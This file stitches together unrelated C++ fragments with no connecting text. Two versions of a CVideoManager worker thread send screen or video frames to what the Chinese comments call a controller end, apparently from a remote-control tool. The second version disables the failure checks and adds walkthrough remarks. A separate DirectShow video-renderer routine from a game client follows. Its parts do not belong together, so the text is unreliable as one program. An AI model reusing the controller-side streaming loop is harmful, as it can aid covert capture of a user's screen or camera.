DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
{
static DWORD dwLastScreen = GetTickCount();
CVideoManager *pThis = (CVideoManager *)lparam;
if (!pThis->Initialize())
{
pThis->Destroy();
pThis->m_pClient->Disconnect();
return -1;
}
pThis->sendBITMAPINFO();
// 等控制端对话框打开
pThis->WaitForDialogOpen();
while (pThis->m_bIsWorking)
{
// 限制速度
if ((GetTickCount() - dwLastScreen) < 150)
Sleep(100);
dwLastScreen = GetTickCount();
pThis->sendNextScreen();
}
// 销毁已经存在实例，方便重新调整
pThis->Destroy();
return 0;
}
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
{
static DWORD dwLastScreen = GetTickCount();
CVideoManager *pThis = (CVideoManager *)lparam;
if (pThis->Initialize()) //转到Initialize
{
//pThis->Destroy();
//pThis->m_pClient->Disconnect();
//return -1;
pThis->m_bIsCompress=true; //如果初始化成功就设置可以压缩
}
pThis->sendBITMAPINFO();
// 等控制端对话框打开
pThis->WaitForDialogOpen();
while (pThis->m_bIsWorking)
{
// 限制速度
if ((GetTickCount() - dwLastScreen) < 150)
Sleep(100);
dwLastScreen = GetTickCount();
pThis->sendNextScreen(); //这里没有压缩相关的代码了，我们到sendNextScreen 看看
}
// 销毁已经存在实例，方便重新调整
pThis->Destroy();
return 0;
}
bool CVideoRenderer::Initialize ( const char * szFile )
{
IBaseFilter * pDSound, * pXVID, * pVorbis;
IBaseFilter * pSource;
IFileSourceFilter * pFileSource;
HRESULT hr;
// Get the codecs
CVideoManager *pManager = CVideoManager::GetSingletonPtr ();
if ( pManager->CreateCodecSource ( &pSource ) != S_OK ) return false;
if ( pManager->CreateCodecVorbis ( &pVorbis ) != S_OK ) return false;
if ( pManager->CreateCodecXVID ( &pXVID ) != S_OK ) return false;
// Check for a valid device
if ( !m_pDevice ) return false;
// Lock so we don't f**k up
Lock ();
CCore::GetSingleton ().GetConsole ()->Printf ( "Creating DirectShow graph instance" );
// Initialize the graph builder
CoCreateInstance ( CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER, IID_IGraphBuilder, reinterpret_cast < void** > ( &m_pGraph ) );
if ( m_pGraph == NULL ) return false;
CCore::GetSingleton ().GetConsole ()->Printf ( "Creating DirectSound renderer instance" );
// Initialize the DirectSound filter
CoCreateInstance ( CLSID_DSoundRender, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, reinterpret_cast < void** > ( &pDSound ) );
if ( pDSound == NULL ) return false;
#ifdef MTA_DEBUG
CCore::GetSingleton ().GetConsole ()->Printf ( "Adding ROT for debug stuff" );
// Enable GraphView debugging
AddToROT(m_pGraph);
#endif
CCore::GetSingleton ().GetConsole ()->Printf ( "Creating video renderer instance" );
// Create an instance of the texture renderer and add it to the graph
m_pFilter = CreateTextureRenderer ( &hr, m_pDevice, this );
if ( hr != S_OK ) return false;
// Add the source file filter to the grap h
int iBufferSize = MultiByteToWideChar ( CP_ACP, 0, szFile, -1, NULL, 0 );
wchar_t *wszFile = new wchar_t[iBufferSize];
MultiByteToWideChar ( CP_ACP, 0, szFile, -1, wszFile, iBufferSize );
CCore::GetSingleton ().GetConsole ()->Printf ( "Registering filter (Matroska)" );
// Add the filters to the graph
m_pGraph->AddFilter ( pSource, L"[MTA] MKV source" );
CCore::GetSingleton ().GetConsole ()->Printf ( "Loading video file" );
pSource->QueryInterface ( IID_IFileSourceFilter, reinterpret_cast < void** > ( &pFileSource ) );
if ( pFileSource->Load ( wszFile, NULL ) != S_OK ) return false;
CCore::GetSingleton ().GetConsole ()->Printf ( "Registering filter (Output)" );
m_pGraph->AddFilter ( m_pFilter, L"[MTA] Texture renderer" );
CCore::GetSingleton ().GetConsole ()->Printf ( "Registering filter (Vorbis)" );
m_pGraph->AddFilter ( pVorbis, L"[MTA] Vorbis decoder" );
CCore::GetSingleton ().GetConsole ()->Printf ( "Registering filter (XVID)" );
m_pGraph->AddFilter ( pXVID, L"[MTA] XVID codec" );
CCore::GetSingleton ().GetConsole ()->Printf ( "Registering filter (DirectSound)" );
m_pGraph->AddFilter ( pDSound, L"[MTA] DirectSound renderer" );
CCore::GetSingleton ().GetConsole ()->Printf ( "Connecting video renderer" );
// Connect the video pins
IPin *pOut, *pSourceOut;
hr = ConnectFilters ( m_pGraph, pSource, pXVID, &pSourceOut ); // MKV Source -> XVID
assert ( hr == S_OK );
hr = ConnectFilters ( m_pGraph, pXVID, m_pFilter, &pOut ); // XVID -> Texture Renderer
assert ( hr == S_OK );
// Connect the audio pins (not necessary)
hr = ConnectFilters ( m_pGraph, pSource, pVorbis, &pOut ); // MKV Source -> Vorbis Decoder
hr = ConnectFilters ( m_pGraph, pVorbis, pDSound, &pOut ); // Vorbis Decoder -> DirectSound renderer
m_pGraph->QueryInterface ( IID_IMediaSeeking, reinterpret_cast < void** > ( &m_pMediaSeeking ) );
assert ( m_pMediaSeeking != NULL );
m_pGraph->QueryInterface ( IID_IMediaControl, reinterpret_cast < void** > ( &m_pMediaControl ) );
if ( m_pMediaControl == NULL || m_pMediaSeeking == NULL ) return false;
m_pGraph->QueryInterface ( IID_IBasicAudio, reinterpret_cast < void** > ( &m_pBasicAudio ) );
if ( m_pBasicAudio == NULL ) return false;
CCore::GetSingleton ().GetConsole ()->Printf ( "Successfully loaded video renderer" );
m_pBasicAudio->get_Volume ( &lDefaultVolume );
// Clean up
delete [] wszFile;
// m_pGraph->Release ();
// Unlock the mutex
Unlock ();
return true;
}
